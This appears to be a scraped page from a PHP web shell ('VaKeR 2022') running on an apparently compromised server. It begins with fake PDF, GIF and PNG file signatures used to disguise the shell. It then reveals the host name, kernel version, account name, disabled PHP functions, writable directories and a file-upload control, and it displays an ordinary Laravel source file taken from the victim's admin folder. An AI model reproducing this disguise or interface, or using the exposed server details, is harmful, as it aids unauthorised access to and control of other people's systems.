%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/app/Scopes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/app/Scopes/CompanyScope.php
<?php

namespace App\Scopes;

use Illuminate\Database\Eloquent\Builder;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Scope;

class CompanyScope implements Scope
{

    public function apply(Builder $builder, Model $model)
    {

        // Check if model has company method which comes from HasCompany Trait.
        // If that has method then it has company otherwise it do not have company id
        // and we can simply return from here
        if (!method_exists($model, 'company')) {
            return $builder;
        }

        // When user is logged in
        // auth()->user() do not work in apply so we have use auth()->hasUser()
        if (auth()->hasUser()) {

            $company = company();

            // We are not checking if table has company_id or not to avoid extra queries.
            // We need to be extra careful with migrations we have created. For all the migration when doing something with update
            // we need to add withoutGlobalScope(CompanyScope::class)
            // Otherwise we will get the error of company_id not found when application is updating or modules are installing

            if ($company) {
                $builder->where($model->getTable() . '.company_id', '=', $company->id);
            }
        }
    }

}

VaKeR 2022